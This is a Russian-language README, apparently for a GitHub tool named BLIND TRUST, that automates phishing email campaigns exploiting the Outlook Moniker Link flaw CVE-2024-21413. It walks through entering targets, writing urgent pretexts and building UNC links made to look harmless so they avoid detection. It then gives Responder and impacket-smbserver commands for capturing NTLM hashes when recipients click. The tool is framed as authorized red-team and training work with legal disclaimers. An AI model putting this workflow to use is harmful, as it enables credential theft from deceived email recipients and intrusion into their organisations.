
Инструмент для исследования безопасности, предназначенный для имитации целевых фишинговых кампаний с использованием CVE-2024-21413 (Moniker Link).
Инструмент для исследований в области безопасности, предназначенный для симуляции целевых фишинговых атак с использованием уязвимости CVE-2024-21413 Moniker Link. Разработан для авторизованных red team-операций, тестирования на проникновение и обучения сотрудников основам безопасности.
BLIND TRUST — это фреймворк для проведения фишинговых кампаний, который помогает командам безопасности понимать и проверять свои защиты от сложных атак на электронную почту. Он использует технику Moniker Link для обхода Protected View в Outlook, обеспечивая реалистичную симуляцию атаки, которую организации могут использовать для укрепления своей безопасности.
Инструмент автоматизирует полный цикл кампании — от настройки до доставки писем — сохраняя операционную безопасность за счет настраиваемых UNC-путей и гибких вариантов легенды (pretext).
Организациям необходимо понимать реальные техники атак, чтобы эффективно защищаться. TRUST позволяет:
.txt# Клонирование репозитория
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST
# Запуск инструмента
python3 TRUST_v7.py
Инструмент использует только модули стандартной библиотеки Python:
getpass - Безопасный ввод пароля
html - Экранирование HTML
ipaddress - Проверка IP-адресов
logging - Структурированное журналирование
os - Файловые операции
re - Регулярные выражения
signal - Обработка сигналов
smtplib - SMTP-протокол электронной почты
sys - Системные утилиты
time - Операции со временем
dataclasses - Моделирование конфигурации
email - Построение MIME-писем
typing - Подсказки типов
Внешние пакеты не требуются — работает везде, где есть Python 3.7+.
python3 TRUST_v7.py
Следуйте интерактивному мастеру, состоящему из 5 шагов:
Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]
Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.
UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024
Создайте targets.txt:
# Finance Department
[email protected]
[email protected]
[email protected]
# Accounting
[email protected]
[email protected]
Затем запустите:
Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt
Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.
UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report
Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report
Два варианта:
.txt-файла с одним email на строку; комментарии начинаются с #Здесь вы избегаете очевидных сигнатур:
finance-internal.company.com) вместо простого IP-адресаquarterly, updates, documentsq3_report, security_patch, training_documentРезультат: вместо очевидного \\192.168.1.100\share!exploit вы получаете что-то вроде file://finance-internal.company.com/quarterly!q3_report.
Start
↓
[STEP 1] Prompt for attacker email and SMTP password
↓
[STEP 2] Prompt for SMB listener IP
↓
[STEP 3] Load target emails (file or input)
↓
↓→ For each target:
│ - Validate email format
│ - Check for duplicates
│
[STEP 4] Prompt for email pretext
│ - Subject, From name, body text
│
[STEP 5] Prompt for UNC path customization
│ - Host, share, exploit name
│
↓
[BUILD] Construct configuration object
↓
[VALIDATE] Check all fields are present and valid
↓
[SUMMARY] Display pre-send summary for review
↓
[CONFIRM] User approves or cancels
↓
[SEND] For each target:
│ - Build MIME email with custom Moniker Link
│ - Attempt SMTP delivery with retry logic
│ - Log per-target success/failure
│
↓
[REPORT] Display campaign results (delivered vs failed)
↓
Exit
CVE-2024-21413 (Moniker Link) — это уязвимость в Outlook, которая позволяет встраивать URL-адреса file:// с символом !. Когда пользователь нажимает на такую ссылку, Outlook пытается получить доступ к UNC-пути, что запускает попытку NTLM-аутентификации даже в режиме Protected View.
\\host\share!exploit! обходит Protected ViewTRUST автоматизирует этап доставки:
Решение: Проверьте SMTP-учетные данные. Для Gmail используйте пароль приложения. Для корпоративной почты уточните у SMTP-администратора.
Решение: Нормально для некоторых SMTP-серверов. Соединение продолжится без TLS-шифрования.
Решение: Убедитесь, что адреса в wordlist-файлах полные и имеют корректный формат ([email protected]).
Решение: Email-адрес не существует на целевом сервере, либо сервер блокирует ретрансляцию с вашего аккаунта.
Решение: Проверьте правильность пути к файлу и его наличие в текущем каталоге.
В: Легально ли использование этого инструмента? О: Только с явным письменным разрешением организации, которую вы тестируете. Несанкционированный фишинг незаконен. Всегда имейте письменный объем работ и правила взаимодействия.
В: Может ли это обойти современные почтовые фильтры? О: Это реалистичная симуляция, но современные системы безопасности почты все равно могут ее обнаружить. В этом и суть — если фильтры вашей организации не справляются с этим, у вас есть проблема, которую нужно решать.
В: Зачем настраивать UNC-путь?
О: Исходный \\IP\share!exploit — это явная выдача себя. Настоящие атакующие используют реалистичные пути. Ваша команда безопасности должна замечать как очевидные, так и скрытые индикаторы.
В: Могу ли я использовать это для обучения сотрудников? О: Да. После авторизованного тестирования используйте обезличенные примеры кампаний в обучении сотрудников, чтобы показать реальные техники атак.
В: Перехватывает ли это учетные данные? О: Нет. TRUST только доставляет письмо. Вам нужен отдельный SMB-слушатель (Responder, impacket-smbserver и т.п.) для перехвата NTLM-хэшей, когда цели нажимают на ссылку.
В: Как настроить SMB-слушатель? О: Используйте Responder на Linux или impacket-smbserver:
# Responder (перехватывает хэши)
sudo responder -i eth0 -v
# impacket-smbserver (симуляция файлового сервера)
impacket-smbserver Share /tmp -smb2support
Этот инструмент предназначен только для авторизованного тестирования безопасности.
Используя TRUST, вы подтверждаете, что понимаете правовые последствия и имеете надлежащую авторизацию.
Этот проект выпущен под лицензией MIT с добавлением ограничения на использование. Подробности см. в LICENSE.
Этот проект основан на оригинальном исследовании и реализации CVE-2024-21413, созданных CMNatic (https://github.com/cmnatic), и вдохновлен ими.
CMNatic принадлежит полная заслуга за:
Этот репозиторий представляет собой модифицированную и расширенную версию той работы с улучшениями, включающими:
Более подробную атрибуцию см. в CREDITS.md.
H1SS — расширил и поддерживает эту версию для исследований в области безопасности и авторизованного тестирования.
Вклад приветствуется. Пожалуйста, убедитесь, что любые изменения:
Рекомендации см. в CONTRIBUTING.md.
По вопросам, проблемам или предложениям открывайте issue на GitHub.
Помните: Этот инструмент — исследовательский проект. Используйте его ответственно, законно и этично.